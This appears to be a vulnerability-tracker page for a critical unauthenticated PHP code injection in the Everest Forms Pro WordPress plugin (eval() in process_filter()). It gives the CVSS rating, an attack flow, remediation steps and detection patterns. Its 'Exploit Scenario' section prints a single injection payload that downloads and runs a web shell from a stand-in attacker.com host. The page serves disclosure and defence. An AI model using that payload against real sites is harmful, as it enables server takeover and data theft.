EUVD-2026-17275Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit crafted form field value
-
ExploitBypass sanitize_text_field() with PHP code
-
ExecutionInject payload into eval() string
-
ImpactExecute arbitrary PHP code on server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Everest Forms Pro plugin for WordPress versions up to 1.9.12 with Calculation Addon enabled. Unauthenticated remote attacker submits crafted form field value to trigger PHP code injection in process_filter() function. No victim interaction required. |
| Impact | This represents an exceptionally high real-world risk. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N) indicates network-based exploitation with low complexity, no authentication required, and no user interaction needed - the most dangerous combination possible. The 9.8 CVSS score reflects complete compromise potential across confidentiality, integrity, and availability. While no EPSS data or CISA KEV status was provided in the intelligence feed, the technical characteristics strongly suggest this vulnerability would be prioritized for exploitation if widely deployed. The attack requires only that a WordPress site uses Everest Forms Pro with the Complex Calculation feature enabled, which is a common configuration for advanced form functionality. The unauthenticated attack vector means any internet-facing form becomes an immediate entry point. From an SSVC perspective, this is automatable (simple HTTP POST requests), has maximum technical impact (arbitrary code execution), and affects a popular WordPress plugin ecosystem where automated scanning is common. The presence of public technical details including source code references significantly increases exploitation likelihood. Organizations running affected versions face imminent risk of full server compromise, data exfiltration, malware deployment, and lateral movement into internal networks. |
| Exploit ScenarioDerived | An unauthenticated attacker identifies a WordPress site running Everest Forms Pro with a publicly accessible contact or registration form using the Complex Calculation feature. The attacker crafts a malicious form submission where a text field contains the payload: test'); system('wget http://attacker.com/shell.php -O /tmp/shell.php; php /tmp/shell.php'); // to break out of the string context and inject arbitrary commands. Upon form submission, the process_filter() function concatenates this input into the eval() statement, executing the attacker's PHP code with web server privileges. The attacker gains immediate remote code execution, downloads a web shell to establish persistent access, escalates privileges, exfiltrates the WordPress database containing user credentials and sensitive data, and potentially pivots to other systems on the internal network. The entire compromise requires only a single HTTP POST request and no authentication. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 31, 2026
Remote code execution in Everest Forms Pro plugin for WordPress ≤1.9.12 allows unauthenticated attackers to execute arbitrary PHP code on the server via the Complex Calculation feature. Attackers can inject malicious PHP through any string-type form field (text, email, URL, select, radio) due to unsafe concatenation into eval() without proper escaping. This vulnerability carries a 9.8 CVSS score with maximum impact (confidentiality, integrity, availability) and requires no authentication or user interaction, representing a critical immediate threat to all installations using the affected plugin versions.
RemediationAI
Immediately upgrade to the latest patched version of Everest Forms Pro. The vendor changelog is available at https://everestforms.net/changelog/ where administrators should identify and deploy the first version released after 1.9.12 that addresses CVE-2026-3300. If immediate patching is not feasible, implement emergency mitigations: disable the Complex Calculation feature in all forms through the plugin settings, or temporarily deactivate the Everest Forms Pro plugin entirely until patching is complete. Review web server logs for suspicious form submissions containing PHP code patterns (such as system(), exec(), passthru(), or other PHP functions in POST data) to identify potential exploitation attempts. After patching, conduct a full security audit of the WordPress installation including file integrity verification, review of recently created admin accounts, and inspection of any unexpected scheduled tasks or modified core files. Consider implementing Web Application Firewall (WAF) rules to block common PHP code injection patterns in form submissions as a defense-in-depth measure. For additional context on the vulnerability and remediation guidance, consult the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/389c0b89-e408-4ad5-9723-a16b745771f0?source=cve.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the Everest Forms Pro WordPress plugin (cpe:2.3:a:wpeverest:everest_forms_pro), specifically in the Calculation Addon's process_filter() function. The root cause is a CWE-94 (Improper Control of Generation of Code / Code Injection) flaw where user-submitted form field values are concatenated directly into a PHP code string and passed to the eval() function. While the code applies sanitize_text_field() to user input, this WordPress sanitization function only removes HTML tags and line breaks - it does not escape single quotes, backslashes, or other PHP code metacharacters. When the Complex Calculation feature is enabled on a form, an attacker can submit crafted payloads containing PHP code fragments in any string-type field. These values are then dynamically concatenated into executable PHP strings, bypassing the insufficient sanitization and allowing arbitrary code execution in the context of the web server process. The eval() function subsequently executes this attacker-controlled code with full server-side privileges.
Know when Everest Forms Pro gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Everest Forms Pro plugin for WordPress is vulnerable to Remote Code Execution via PHP Code Injection in all versions up to, and including, 1.9.12. This is due to the Calculation Addon's process_filter() function concatenating user-submitted form field values into a PHP code string without proper escaping before passing it to eval(). The sanitize_text_field() function applied to input does not escape single quotes or other PHP code context characters. This makes it possible for unauthenticated attackers to inject and execute arbitrary PHP code on the server by submitting a crafted value in any string-type form field (text, email, URL, select, radio) when a form uses the "Complex Calculation" feature.
Executive ViewAI
Everest Forms Pro plugin for WordPress versions 1.9.12 and earlier contains a critical remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary commands on affected web servers. Any organization running this plugin faces immediate risk of complete system compromise, data theft, and service disruption without authentication barriers or user interaction required.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately deactivate Everest Forms Pro plugin across all WordPress instances; (2) Implement Web Application Firewall (WAF) rules to block POST requests to form submission endpoints; (3) Restrict database user permissions to remove PHP execution capability; (4) Monitor web server error logs and access logs for eval() execution patterns and suspicious parameter injection; (5) Implement network segmentation to limit lateral movement if compromise occurs.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
GitHub PoC
Exploit-DB